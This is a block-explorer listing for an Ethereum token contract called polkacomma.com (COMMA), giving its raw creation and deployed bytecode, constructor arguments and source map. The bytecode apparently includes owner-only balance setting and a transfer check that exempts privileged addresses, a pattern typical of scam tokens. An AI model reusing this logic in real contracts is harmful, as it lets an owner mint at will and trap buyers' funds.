0000000000000000c350000000000000000000000000000000000000000000000000000000000000000e706f6c6b61636f6d6d612e636f6d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005434f4d4d41000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f146101dd57806370a082311461021657806395d89b4114610249578063a9059cbb1461025e578063dd62ed3e1461028a578063e8b5b796146102c55761009c565b806306fdde03146100a1578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610192578063313ce567146101c8575b600080fd5b3480156100ad57600080fd5b506100b66102f8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610386565b604080519115158252519081900360200190f35b34801561017757600080fd5b506101806103ed565b60408051918252519081900360200190f35b610157600480360360608110156101a857600080fd5b506001600160a01b038135811691602081013590911690604001356103f3565b3480156101d457600080fd5b50610180610528565b3480156101e957600080fd5b506101576004803603604081101561020057600080fd5b506001600160a01b03813516906020013561052d565b34801561022257600080fd5b506101806004803603602081101561023957600080fd5b50356001600160a01b031661059c565b34801561025557600080fd5b506100b66105ae565b6101576004803603604081101561027457600080fd5b506001600160a01b038135169060200135610609565b34801561029657600080fd5b50610180600480360360408110156102ad57600080fd5b506001600160a01b0381358116916020013516610616565b3480156102d157600080fd5b50610157600480360360208110156102e857600080fd5b50356001600160a01b0316610633565b6009805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037e5780601f106103535761010080835404028352916020019161037e565b820191906000526020600020905b81548152906001019060200180831161036157829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60085481565b60008161040257506001610521565b336001600160a01b0385161461046d576001600160a01b038416600090815260076020908152604080832033845290915290205482111561044257600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b610478848484610672565b61048157600080fd5b6001600160a01b0384166000908152600660205260409020548211156104a657600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b600b546000906001600160a01b0316331461054757600080fd5b8115610573576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b50506001600160a01b03166000908152600160208190526040909120805460ff19168217905590565b60066020526000908152604090205481565b600a805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037e5780601f106103535761010080835404028352916020019161037e565b60006105213384846103f3565b600760209081526000928352604080842090915290825290205481565b600b546000906001600160a01b0316331461064d57600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b600b546000906001600160a01b038581169116148061069e5750600b546001600160a01b038481169116145b806106b657506005546001600160a01b038581169116145b806106d957506001600160a01b03841660009081526001602052604090205460ff165b156106e657506001610521565b6106f08483610703565b6106f957600080fd5b5060019392505050565b600060045460001480156107175750600254155b80156107235750600354155b15610730575060006103e7565b60045415610761576004546001600160a01b03841660009081526020819052604090205410610761575060006103e7565b6002541561077b5781600254111561077b575060006103e7565b6003541561079557600354821115610795575060006103e7565b5060019291505056fea265627a7a7231582060f2186eebaac454c9b23ee75b5b83684a911144c6a1852e608e427b7cf1baea64736f6c63430005110032

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000c350000000000000000000000000000000000000000000000000000000000000000e706f6c6b61636f6d6d612e636f6d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005434f4d4d41000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): polkacomma.com
Arg [1] : _symbol (string): COMMA
Arg [2] : _supply (uint256): 50000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000000000c350
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 706f6c6b61636f6d6d612e636f6d000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 434f4d4d41000000000000000000000000000000000000000000000000000000


Deployed ByteCode Sourcemap

10605:3194:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13373:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;13373:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;13373:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11819:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;11819:213:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;13343:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;13343:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;11246:564;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;11246:564:0;;;;;;;;;;;;;;;;;:::i;13302:34::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;13302:34:0;;;:::i;12704:271::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;12704:271:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;12704:271:0;;;;;;;;:::i;13180:42::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;13180:42:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;13180:42:0;-1:-1:-1;;;;;13180:42:0;;:::i;13398:20::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;13398:20:0;;;:::i;10797:137::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;10797:137:0;;;;;;;;:::i;13229:63::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;13229:63:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;13229:63:0;;;;;;;;;;:::i;13010:161::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;13010:161:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;13010:161:0;-1:-1:-1;;;;;13010:161:0;;:::i;13373:18::-;;;;;;;;;;;;;;;-1:-1:-1;;13373:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11819:213::-;11918:10;11891:4;11908:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;11908:31:0;;;;;;;;;;;:40;;;11964:38;;;;;;;11891:4;;11908:31;;11918:10;;11964:38;;;;;;;;-1:-1:-1;12020:4:0;11819:213;;;;;:::o;13343:23::-;;;;:::o;11246:564::-;11333:4;11354:11;11350:31;;-1:-1:-1;11375:4:0;11368:11;;11350:31;11395:10;-1:-1:-1;;;;;11395:19:0;;;11391:152;;-1:-1:-1;;;;;11439:16:0;;;;;;:9;:16;;;;;;;;11456:10;11439:28;;;;;;;;:38;-1:-1:-1;11439:38:0;11431:47;;;;;;-1:-1:-1;;;;;11493:16:0;;;;;;:9;:16;;;;;;;;11510:10;11493:28;;;;;;;:38;;;;;;;11391:152;11561:26;11568:5;11575:3;11580:6;11561;:26::i;:::-;11553:35;;;;;;-1:-1:-1;;;;;11607:16:0;;;;;;:9;:16;;;;;;:26;-1:-1:-1;11607:26:0;11599:35;;;;;;-1:-1:-1;;;;;11645:16:0;;;;;;;:9;:16;;;;;;;;:26;;;;;;;11682:14;;;;;;;;;:24;;;;;;11717:17;;;;;;;;;;:19;;-1:-1:-1;11717:19:0;;;11752:28;;;;;;;11682:14;;11752:28;;;;;;;;;;;-1:-1:-1;11798:4:0;11246:564;;;;;;:::o;13302:34::-;13334:2;13302:34;:::o;12704:271::-;12820:5;;12781:4;;-1:-1:-1;;;;;12820:5:0;12806:10;:19;12798:28;;;;;;12840:14;;12837:77;;-1:-1:-1;;;;;12857:18:0;;;;;;:9;:18;;;;;12890:21;12878:34;;12857:55;;12837:77;-1:-1:-1;;;;;;;12924:16:0;;;;;12941:4;12924:16;;;;;;;;:21;;-1:-1:-1;;12924:21:0;;;;;12941:4;12704:271::o;13180:42::-;;;;;;;;;;;;;:::o;13398:20::-;;;;;;;;;;;;;;;-1:-1:-1;;13398:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10797:137;10865:4;10889:37;10902:10;10914:3;10919:6;10889:12;:37::i;13229:63::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;13010:161::-;13105:5;;13066:4;;-1:-1:-1;;;;;13105:5:0;13091:10;:19;13083:28;;;;;;-1:-1:-1;13122:12:0;:19;;-1:-1:-1;;;;;13122:19:0;;-1:-1:-1;;;;;;13122:19:0;;;;;;;13010:161;;;:::o;10943:291::-;11060:5;;11022:4;;-1:-1:-1;;;;;11051:14:0;;;11060:5;;11051:14;;:30;;-1:-1:-1;11076:5:0;;-1:-1:-1;;;;;11069:12:0;;;11076:5;;11069:12;11051:30;:55;;;-1:-1:-1;11094:12:0;;-1:-1:-1;;;;;11085:21:0;;;11094:12;;11085:21;11051:55;:71;;;-1:-1:-1;;;;;;11108:14:0;;;;;;:7;:14;;;;;;;;11051:71;11048:113;;;-1:-1:-1;11145:4:0;11138:11;;11048:113;11179:24;11189:5;11196:6;11179:9;:24::i;:::-;11171:33;;;;;;-1:-1:-1;11222:4:0;10943:291;;;;;:::o;12044:462::-;12113:4;12132:8;;12144:1;12132:13;:30;;;;-1:-1:-1;12149:8:0;;:13;12132:30;:47;;;;-1:-1:-1;12166:8:0;;:13;12132:47;12129:64;;;-1:-1:-1;12188:5:0;12181:12;;12129:64;12217:8;;:12;12214:89;;12269:8;;-1:-1:-1;;;;;12248:17:0;;:10;:17;;;;;;;;;;;:29;12245:46;;-1:-1:-1;12286:5:0;12279:12;;12245:46;12316:8;;:12;12313:77;;12358:6;12347:8;;:17;12344:34;;;-1:-1:-1;12373:5:0;12366:12;;12344:34;12403:8;;:12;12400:77;;12443:8;;12434:6;:17;12431:34;;;-1:-1:-1;12460:5:0;12453:12;;12431:34;-1:-1:-1;12494:4:0;12044:462;;;;:::o

Metadata Hash

60f2186eebaac454c9b23ee75b5b83684a911144c6a1852e608e427b7cf1baea
Block Transaction Gas Used Reward
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.